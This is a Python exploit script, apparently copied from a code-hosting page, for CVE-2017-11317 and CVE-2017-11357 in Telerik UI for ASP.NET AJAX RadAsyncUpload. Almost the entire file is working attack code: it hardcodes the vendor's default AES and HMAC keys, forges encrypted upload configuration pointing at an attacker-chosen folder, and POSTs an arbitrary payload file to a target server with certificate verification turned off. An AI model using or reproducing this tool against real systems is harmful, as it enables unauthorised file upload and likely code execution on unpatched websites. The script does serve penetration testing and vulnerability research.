324 lines
No EOL
11 KiB
Python
Executable file
324 lines
No EOL
11 KiB
Python
Executable file
# Exploit Title: Telerik UI for ASP.NET AJAX RadAsyncUpload uploader
|
|
# Filename: RAU_crypto.py
|
|
# Github: https://github.com/bao7uo/RAU_crypto
|
|
# Date: 2018-01-23
|
|
|
|
# Exploit Author: Paul Taylor / Foregenix Ltd
|
|
# Website: http://www.foregenix.com/blog
|
|
|
|
# Version: Telerik UI for ASP.NET AJAX
|
|
# CVE: CVE-2017-11317, CVE-2017-11357
|
|
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
|
|
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
|
|
|
|
# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)
|
|
|
|
#!/usr/bin/python3
|
|
|
|
# Author: Paul Taylor / Foregenix Ltd
|
|
# https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py
|
|
|
|
# RAU crypto - Exploiting CVE-2017-11317, CVE-2017-11357
|
|
|
|
# Telerik Web UI for ASP.NET AJAX
|
|
# RadAsyncUpload hardcoded keys / insecure direct object reference
|
|
# Arbitrary file upload
|
|
|
|
# Telerik fixed in June 2017 by removing default keys in
|
|
# versions R2 2017 SP1 (2017.2.621) and providing the ability to disable the
|
|
# RadAsyncUpload feature in R2 2017 SP2 (2017.2.711)
|
|
|
|
# https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
|
|
# https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
|
|
# http://docs.telerik.com/devtools/aspnet-ajax/controls/asyncupload/security
|
|
|
|
# http://target/Telerik.Web.UI.WebResource.axd?type=rau
|
|
|
|
import sys
|
|
import base64
|
|
import json
|
|
import re
|
|
import requests
|
|
from Crypto.Cipher import AES
|
|
from Crypto.Hash import HMAC
|
|
from Crypto.Hash import SHA256
|
|
|
|
import binascii
|
|
|
|
# Warning, the below prevents certificate warnings,
|
|
# and verify = False in the later code prevents them being verified
|
|
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
|
|
|
|
class RAUCipher:
|
|
key = binascii.unhexlify("EB8AF90FDE30FECBE330E807CF0B4252" +
|
|
"A44E9F06A2EA4AF10B046F598DD3EA0C")
|
|
iv = binascii.unhexlify("E330E807CF0B425255A3A561A707D269")
|
|
|
|
def encrypt(plaintext):
|
|
sys.stderr.write("Encrypting... ")
|
|
encoded = ""
|
|
for i in plaintext:
|
|
encoded = encoded + i + "\x00"
|
|
plaintext = encoded + (
|
|
chr(16 - (len(encoded) % 16)) *
|
|
(16 - (len(encoded) % 16))
|
|
)
|
|
cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
|
|
sys.stderr.write("done\n")
|
|
return base64.b64encode(cipher.encrypt(plaintext)).decode()
|
|
|
|
def decrypt(ciphertext):
|
|
sys.stderr.write("Decrypting... ")
|
|
ciphertext = base64.b64decode(ciphertext)
|
|
cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
|
|
unpad = lambda s: s[0:-ord(chr(s[-1]))]
|
|
sys.stderr.write("done\n")
|
|
return unpad(cipher.decrypt(ciphertext[0:])).decode()[0::2]
|
|
|
|
def addHmac(string, Version):
|
|
|
|
isHmacVersion = False
|
|
|
|
# "Encrypt-then-MAC" feature introduced in R1 2017
|
|
# Required for "2017.1.118", "2017.1.228", "2017.2.503"
|
|
|
|
if "2017" in Version:
|
|
isHmacVersion = True
|
|
|
|
hmac = HMAC.new(
|
|
b'PrivateKeyForHashOfUploadConfiguration',
|
|
bytes(string.encode()),
|
|
SHA256.new()
|
|
)
|
|
hmac = base64.b64encode(hmac.digest()).decode()
|
|
return string + hmac if isHmacVersion else string
|
|
|
|
|
|
def rauPostData_prep(quiet, TempTargetFolder, Version):
|
|
TargetFolder = RAUCipher.addHmac(
|
|
"jgas0meSrU/uP/TPzrhDTw==",
|
|
Version
|
|
)
|
|
TempTargetFolder = RAUCipher.addHmac(
|
|
RAUCipher.encrypt(TempTargetFolder),
|
|
Version
|
|
)
|
|
|
|
rauJSONplaintext = \
|
|
'{"TargetFolder":"' + TargetFolder + '","TempTargetFolder":"' + \
|
|
TempTargetFolder + \
|
|
'","MaxFileSize":0,"TimeToLive":{"Ticks":1440000000000,"Days":0,"Hours":40,"Minutes":0,"Seconds":0,"Milliseconds":0,"TotalDays":1.6666666666666666,"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},"UseApplicationPoolImpersonation":false}'
|
|
if not quiet:
|
|
print("JSON: " + rauJSONplaintext + "\n")
|
|
rauPostData = RAUCipher.encrypt(rauJSONplaintext) + "&"
|
|
rauVersionplaintext = \
|
|
"Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=" + \
|
|
Version + \
|
|
", Culture=neutral, PublicKeyToken=121fae78165ba3d4"
|
|
if not quiet:
|
|
print("Version: " + rauVersionplaintext + "\n")
|
|
rauPostData += RAUCipher.encrypt(rauVersionplaintext)
|
|
return rauPostData
|
|
|
|
|
|
def getVersion(url):
|
|
sys.stderr.write("Contacting server... ")
|
|
response = requests.get(url, verify=False)
|
|
html = response.text
|
|
sys.stderr.write("done\n")
|
|
match = re.search(
|
|
'((?<=\<\!-- )20\d{2}(.\d+)+(?= --\>))|' +
|
|
'(?<=Version%3d)20\d{2}(.\d+)+(?=%2c)|' +
|
|
'(?<=Version=)20\d{2}(.\d+)+(?=,)',
|
|
html
|
|
)
|
|
|
|
if match:
|
|
return match.group(0)
|
|
else:
|
|
return "No version result"
|
|
|
|
|
|
def payload(TempTargetFolder, Version, payload_filename):
|
|
sys.stderr.write("file: " + payload_filename + "\n")
|
|
sys.stderr.write("version: " + Version + "\n")
|
|
sys.stderr.write("destination " + TempTargetFolder + "\n")
|
|
sys.stderr.write("Preparing payload... \n")
|
|
payload_file = open(payload_filename, "r")
|
|
payload_file_data = payload_file.read()
|
|
payload_file.close()
|
|
quiet = True
|
|
|
|
data = "-----------------------------68821516528156\r\n"
|
|
data += "Content-Disposition: form-data; name=\"rauPostData\"\r\n"
|
|
data += "\r\n"
|
|
data += rauPostData_prep(quiet, TempTargetFolder, Version) + "\r\n"
|
|
data += "-----------------------------68821516528156\r\n"
|
|
data += "Content-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n"
|
|
data += "Content-Type: application/octet-stream\r\n"
|
|
data += "\r\n"
|
|
data += payload_file_data
|
|
data += "-----------------------------68821516528156\r\n"
|
|
data += "Content-Disposition: form-data; name=\"fileName\"\r\n"
|
|
data += "\r\n"
|
|
data += "RAU_crypto.bypass\r\n"
|
|
data += "-----------------------------68821516528156\r\n"
|
|
data += "Content-Disposition: form-data; name=\"contentType\"\r\n"
|
|
data += "\r\n"
|
|
data += "text/html\r\n"
|
|
data += "-----------------------------68821516528156\r\n"
|
|
data += "Content-Disposition: form-data; name=\"lastModifiedDate\"\r\n"
|
|
data += "\r\n"
|
|
data += "2017-06-28T09:11:28.586Z\r\n"
|
|
data += "-----------------------------68821516528156\r\n"
|
|
data += "Content-Disposition: form-data; name=\"metadata\"\r\n"
|
|
data += "\r\n"
|
|
data += "{\"TotalChunks\":1,\"ChunkIndex\":0,\"TotalFileSize\":1,\"UploadID\":\"" + \
|
|
payload_filename + "\"}\r\n"
|
|
data += "-----------------------------68821516528156--\r\n"
|
|
data += "\r\n"
|
|
sys.stderr.write("Payload prep done\n")
|
|
return data
|
|
|
|
|
|
def upload(TempTargetFolder, Version, payload_filename, url):
|
|
sys.stderr.write("Preparing to upload to " + url + "\n")
|
|
session = requests.Session()
|
|
request = requests.Request(
|
|
'POST',
|
|
url,
|
|
data=payload(
|
|
TempTargetFolder,
|
|
Version,
|
|
payload_filename
|
|
)
|
|
)
|
|
request = request.prepare()
|
|
request.headers["Content-Type"] = \
|
|
"multipart/form-data; " +\
|
|
"boundary=---------------------------68821516528156"
|
|
response = session.send(request, verify=False)
|
|
sys.stderr.write("Upload done\n")
|
|
return response.text
|
|
|
|
|
|
def decode_rauPostData(rauPostData):
|
|
rauPostData = rauPostData.split("&")
|
|
rauJSON = RAUCipher.decrypt(rauPostData[0])
|
|
decoded = "\nJSON: " + rauJSON + "\n"
|
|
TempTargetFolder = json.loads(rauJSON)["TempTargetFolder"]
|
|
decoded = decoded + "\nTempTargetFolder = " + \
|
|
RAUCipher.decrypt(TempTargetFolder) + "\n"
|
|
rauVersion = RAUCipher.decrypt(rauPostData[1])
|
|
decoded = decoded + "\nVersion: " + rauVersion + "\n"
|
|
return decoded
|
|
|
|
|
|
def mode_decrypt():
|
|
# decrypt ciphertext
|
|
ciphertext = sys.argv[2]
|
|
print("\n" + RAUCipher.decrypt(ciphertext) + "\n")
|
|
|
|
|
|
def mode_Decrypt_rauPostData():
|
|
# decrypt rauPostData
|
|
rauPostData = sys.argv[2]
|
|
print(decode_rauPostData(rauPostData))
|
|
|
|
|
|
def mode_encrypt():
|
|
# encrypt plaintext
|
|
plaintext = sys.argv[2]
|
|
print("\n" + RAUCipher.encrypt(plaintext) + "\n")
|
|
|
|
|
|
def mode_Encrypt_rauPostData():
|
|
# encrypt rauPostData based on TempTargetFolder and Version
|
|
quiet = False
|
|
TempTargetFolder = sys.argv[2]
|
|
Version = sys.argv[3]
|
|
print(
|
|
"rauPostData: " +
|
|
rauPostData_prep(quiet, TempTargetFolder, Version) +
|
|
"\n"
|
|
)
|
|
|
|
|
|
def mode_encrypt_rauPostData_Quiet():
|
|
# as per -E but just output encrypted rauPostData,
|
|
# not the prepared JSON and version
|
|
quiet = True
|
|
TempTargetFolder = sys.argv[2]
|
|
Version = sys.argv[3]
|
|
print(rauPostData_prep(quiet, TempTargetFolder, Version))
|
|
|
|
|
|
def mode_version():
|
|
# extract Telerik web ui version details from url
|
|
url = sys.argv[2]
|
|
print(getVersion(url))
|
|
|
|
|
|
def mode_payload():
|
|
# generate a payload based on TempTargetFolder, Version and payload file
|
|
TempTargetFolder = sys.argv[2]
|
|
Version = sys.argv[3]
|
|
payload_filename = sys.argv[4]
|
|
print(payload(TempTargetFolder, Version, payload_filename))
|
|
|
|
|
|
def mode_Post():
|
|
# generate and upload a payload based on
|
|
# TempTargetFolder, Version, payload file and url
|
|
TempTargetFolder = sys.argv[2]
|
|
Version = sys.argv[3]
|
|
payload_filename = sys.argv[4]
|
|
url = sys.argv[5]
|
|
print(upload(TempTargetFolder, Version, payload_filename, url))
|
|
|
|
|
|
def mode_help():
|
|
print(
|
|
"Usage:\n" +
|
|
"\n" +
|
|
"Decrypt a plaintext: -d ciphertext\n" +
|
|
"Decrypt rauPostData: -D rauPostData\n" +
|
|
"Encrypt a plaintext: -e plaintext\n" +
|
|
"Gen rauPostData: -E TempTargetFolder Version\n" +
|
|
"Gen rauPostData (quiet): -Q TempTargetFolder Version\n" +
|
|
"Version in HTTP response: -v url\n" +
|
|
"Generate a POST payload: -p TempTargetFolder Version c:\\\\folder\\\\filename\n" +
|
|
"Upload a payload: -P TempTargetFolder Version c:\\\\folder\\\\filename url\n\n"
|
|
"Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau"
|
|
)
|
|
|
|
|
|
sys.stderr.write("\nRAU_crypto by Paul Taylor / Foregenix Ltd.\n")
|
|
sys.stderr.write(
|
|
"CVE-2017-11317 - " +
|
|
"Telerik RadAsyncUpload hardcoded keys / arbitrary file upload\n\n"
|
|
)
|
|
|
|
if len(sys.argv) < 2:
|
|
mode_help()
|
|
elif sys.argv[1] == "-d" and len(sys.argv) == 3:
|
|
mode_decrypt()
|
|
elif sys.argv[1] == "-D" and len(sys.argv) == 3:
|
|
mode_Decrypt_rauPostData()
|
|
elif sys.argv[1] == "-e" and len(sys.argv) == 3:
|
|
mode_encrypt()
|
|
elif sys.argv[1] == "-E" and len(sys.argv) == 4:
|
|
mode_Encrypt_rauPostData()
|
|
elif sys.argv[1] == "-Q" and len(sys.argv) == 4:
|
|
mode_encrypt_rauPostData_Quiet()
|
|
elif sys.argv[1] == "-v" and len(sys.argv) == 3:
|
|
mode_version()
|
|
elif sys.argv[1] == "-p" and len(sys.argv) == 5:
|
|
mode_payload()
|
|
elif sys.argv[1] == "-P" and len(sys.argv) == 6:
|
|
mode_Post()
|
|
else:
|
|
mode_help() |